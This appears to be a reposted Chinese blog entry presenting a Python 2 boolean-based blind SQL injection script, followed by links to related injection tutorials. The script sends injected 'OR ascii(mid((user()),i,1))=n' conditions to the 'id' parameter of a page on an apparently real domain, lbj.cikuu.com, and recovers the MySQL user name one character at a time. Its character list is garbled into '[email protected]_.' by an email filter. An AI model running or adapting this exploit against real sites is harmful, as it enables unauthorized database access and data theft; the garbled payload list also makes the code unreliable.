盲注脚本2.基于bool

Posted nul1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了盲注脚本2.基于bool相关的知识,希望对你有一定的参考价值。

盲注脚本2.基于bool

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib

headers = {
    ‘User-Agent‘: ‘Mozilla/5.0 (Linux; U; android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (Khtml, like Gecko) Version/4.0 Mobile Safari/533.1‘,
}

payloads = list(‘[email protected]_.‘)


print ‘start to retrive mysql user:‘
user = ‘‘
for i in range(1,15,1):
    for payload in payloads:

        conn = httplib.HTTPConnection(‘lbj.cikuu.com‘, timeout=60)
        s = "ascii(mid((user()),%s,1))=%s" % (i, ord(payload))
        
        conn.request(method=‘GET‘,
                     url="/index.php?a=arcon&id=-1 OR " + s + "&m=Index",
                     
                     headers = headers)
        html_doc = conn.getresponse().read()
        conn.close()
        
       
        
        if html_doc.find(‘2014‘) > 0:
            user += payload
            sys.stdout.write(‘\r[In progress] %s‘ % user)
            sys.stdout.flush()
            break
        else:
            print ‘.‘,

print ‘\n[Done]MySQL user is‘, user

  

以上是关于盲注脚本2.基于bool的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs less15 POST - Blind- Boolian/time Based - Single quotes (基于bool/时间的单引号POST型盲注)

sqli-labs less16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

mysql order by基于时间的盲注

bool型的盲注

sqli-libs bool盲注

实战 | SQL注入-BOOL盲注-一个小细节